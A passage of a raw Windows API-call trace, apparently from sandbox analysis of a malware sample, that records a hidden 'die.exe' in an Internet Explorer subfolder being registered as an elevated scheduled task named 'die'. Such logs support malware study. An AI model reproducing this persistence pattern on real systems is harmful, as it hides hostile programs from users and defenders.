Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27ce30 | out: ppv=0x27ce30*=0xcdee0) returned 0x0 [0077.459] TaskScheduler:ITaskService:Connect (This=0xcdee0, serverName=0x27cf10*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27ceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0077.545] TaskScheduler:IUnknown:AddRef (This=0xcdee0) returned 0x2 [0077.545] TaskScheduler:ITaskService:GetFolder (in: This=0xcdee0, Path=0x0, ppFolder=0x27cfc8 | out: ppFolder=0x27cfc8*=0x5f7d90) returned 0x0 [0077.548] TaskScheduler:ITaskService:NewTask (in: This=0xcdee0, flags=0x0, ppDefinition=0x27cfc0 | out: ppDefinition=0x27cfc0*=0x5f7de0) returned 0x0 [0077.549] ITaskDefinition:get_Actions (in: This=0x5f7de0, ppActions=0x27cf40 | out: ppActions=0x27cf40*=0x5f7ea0) returned 0x0 [0077.549] IActionCollection:Create (in: This=0x5f7ea0, Type=0, ppAction=0x27cf60 | out: ppAction=0x27cf60*=0x5f6680) returned 0x0 [0077.549] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.549] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.549] lstrlenW (lpString=" ") returned 1 [0077.549] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0077.549] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0077.549] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0077.550] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0077.550] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0077.550] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0077.551] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0077.551] IUnknown:Release (This=0x5f6680) returned 0x1 [0077.551] IUnknown:Release (This=0x5f7ea0) returned 0x1 [0077.551] ITaskDefinition:get_Triggers (in: This=0x5f7de0, ppTriggers=0x27cac0 | out: ppTriggers=0x27cac0*=0x5f7f20) returned 0x0 [0077.552] ITriggerCollection:Create (in: This=0x5f7f20, Type=9, ppTrigger=0x27cab8 | out: ppTrigger=0x27cab8*=0x5f66f0) returned 0x0 [0077.552] IUnknown:QueryInterface (in: This=0x5f66f0, riid=0xff9d1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x27cab0 | out: ppvObject=0x27cab0*=0x5f66f0) returned 0x0 [0077.552] IUnknown:Release (This=0x5f66f0) returned 0x2 [0077.552] _vsnwprintf (in: _Buffer=0x27ca00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27c9d8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0077.552] ITrigger:put_StartBoundary (This=0x5f66f0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0077.552] lstrlenW (lpString="") returned 0 [0077.552] lstrlenW (lpString="") returned 0 [0077.552] lstrlenW (lpString="") returned 0 [0077.552] lstrlenW (lpString="") returned 0 [0077.552] IUnknown:Release (This=0x5f66f0) returned 0x1 [0077.552] IUnknown:Release (This=0x5f7f20) returned 0x1 [0077.552] ITaskDefinition:get_Settings (in: This=0x5f7de0, ppSettings=0x27cf60 | out: ppSettings=0x27cf60*=0x5f6460) returned 0x0 [0077.553] lstrlenW (lpString="") returned 0 [0077.553] IUnknown:Release (This=0x5f6460) returned 0x1 [0077.553] GetLocalTime (in: lpSystemTime=0x27ce18 | out: lpSystemTime=0x27ce18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x1, wMilliseconds=0x38c)) [0077.553] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0077.553] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0077.553] GetUserNameW (in: lpBuffer=0x27ce40, pcbBuffer=0x27ce28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27ce28) returned 1 [0077.554] ITaskDefinition:get_RegistrationInfo (in: This=0x5f7de0, ppRegistrationInfo=0x27ce10 | out: ppRegistrationInfo=0x27ce10*=0x5f63a0) returned 0x0 [0077.554] IRegistrationInfo:put_Author (This=0x5f63a0, Author="") returned 0x0 [0077.554] _vsnwprintf (in: _Buffer=0x27ce40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27cdd8 | out: _Buffer="2023-09-19T17:17:01") returned 19 [0077.554] IRegistrationInfo:put_Date (This=0x5f63a0, Date="") returned 0x0 [0077.554] IUnknown:Release (This=0x5f63a0) returned 0x1 [0077.554] malloc (_Size=0x18) returned 0x5f7fb0 [0077.555] free (_Block=0x5f7fb0) [0077.555] lstrlenW (lpString="") returned 0 [0077.555] ITaskDefinition:get_Principal (in: This=0x5f7de0, ppPrincipal=0x27d030 | out: ppPrincipal=0x27d030*=0x5f65d0) returned 0x0 [0077.555] IPrincipal:put_RunLevel (This=0x5f65d0, RunLevel=1) returned 0x0 [0077.555] IUnknown:Release (This=0x5f65d0) returned 0x1 [0077.555] malloc (_Size=0x18) returned 0x5f7fb0 [0077.555] ITaskFolder:RegisterTaskDefinition (in: This=0x5f7d90, Path="die", pDefinition=0x5f7de0, flags=6, UserId=0x27d0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27efc0, varVal2=0xfe), LogonType=3, sddl=0x27d0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27cfd0 | out: ppTask=0x27cfd0*=0x5f6960) returned 0x0 [0078.087] free (_Block=0x5f7fb0) [0078.087] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0078.087] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0078.087] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0078.087] GetProcessHeap () returned 0x3a0000 [0078.087] GetProcessHeap () returned 0x3a0000 [0078.087] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6e0) returned 1 [0078.087] GetProcessHeap () returned 0x3a0000 [0078.087] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd6e0) returned 0xe [0078.087] _vsnwprintf (in: _Buffer=0x27d710, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27cf78 | out: _Buffer="SUCCESS: The scheduled task \"die\" has successfully been created.\n") returned 65 [0078.087] _fileno (_File=0x7feffe22ab0) returned -2 [0078.087] _errno () returned 0x5f4bb0 [0078.088] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0078.088] SetLastError (dwErrCode=0x6) [0078.088] lstrlenW (lpString="SUCCESS: The scheduled task \"die\" has successfully been created.\n") returned 65 [0078.088] GetConsoleOutputCP () returned 0x0 [0078.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"die\" has successfully been created.\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0078.088] GetConsoleOutputCP () returned 0x0 [0078.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"die\" has successfully been created.\n", cchWideChar=65, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"die\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 65 [0078.088] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 65 [0078.088] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0078.088] IUnknown:Release (This=0x5f6960) returned 0x0 [0078.088] TaskScheduler:IUnknown:Release (This=0x5f7de0) returned 0x0 [0078.088] TaskScheduler:IUnknown:Release (This=0x5f7d90) returned 0x0 [0078.088] TaskScheduler:IUnknown:Release (This=0xcdee0) returned 0x1 [0078.088] lstrlenW (lpString="") returned 0 [0078.088] GetProcessHeap () returned 0x3a0000 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc510) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc510) returned 0x1fc [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd660) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd660) returned 0x16 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd640) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd640) returned 0x18 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bced0) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bced0) returned 0x20 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc150) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc150) returned 0xa0 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbbd0) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbbd0) returned 0x18 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcc90) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcc90) returned 0x20 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3b0) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc3b0) returned 0x74 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd680) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd680) returned 0x18 [0078.089] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcc60) returned 1 [0078.089] GetProcessHeap () returned 0x3a0000 [0078.089] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcc60) returned 0x20 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc490) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc490) returned 0x76 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc470) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc470) returned 0x18 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcc30) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcc30) returned 0x20 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc450) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc450) returned 0xe [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc430) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc430) returned 0x18 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5e60) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5e60) returned 0x20 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbd50) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbd50) returned 0x208 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbbb0) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbbb0) returned 0x18 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5d70) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5d70) returned 0x20 [0078.090] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd400) returned 1 [0078.090] GetProcessHeap () returned 0x3a0000 [0078.090] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd400) returned 0x200 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbbf0) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbbf0) returned 0x18 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5ce0) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5ce0) returned 0x20 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc360) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc360) returned 0x14 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc340) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc340) returned 0x18 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5c20) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5c20) returned 0x20 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc380) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc380) returned 0x16 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc200) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc200) returned 0x18 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5bf0) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5bf0) returned 0x20 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbb30) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbb30) returned 0x2 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5a40) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.091] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5a40) returned 0x20 [0078.091] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5a70) returned 1 [0078.091] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5a70) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5aa0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5aa0) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5ad0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5ad0) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bccc0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bccc0) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd780) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd780) returned 0xc [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bccf0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bccf0) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b7bd0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b7bd0) returned 0x30 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd20) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcd20) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b7c10) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b7c10) returned 0x30 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcea0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcea0) returned 0x20 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6a0) returned 1 [0078.092] GetProcessHeap () returned 0x3a0000 [0078.092] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd6a0) returned 0x16 [0078.092] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce70) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bce70) returned 0x20 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6c0) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd6c0) returned 0x16 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce40) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bce40) returned 0x20 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3d9cc0) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3d9cc0) returned 0x82 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce10) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bce10) returned 0x20 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd700) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd700) returned 0xe [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcde0) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcde0) returned 0x20 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd720) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd720) returned 0xc [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcdb0) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcdb0) returned 0x20 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd740) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd740) returned 0xe [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd80) returned 1 [0078.093] GetProcessHeap () returned 0x3a0000 [0078.093] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcd80) returned 0x20 [0078.093] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd760) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd760) returned 0x10 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd50) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcd50) returned 0x20 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbb50) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbb50) returned 0x18 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5b00) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5b00) returned 0x20 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5b30) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5b30) returned 0x20 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5b60) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5b60) returned 0x20 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5b90) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5b90) returned 0x20 [0078.094] HeapValidate (hHeap=0x3a0000, 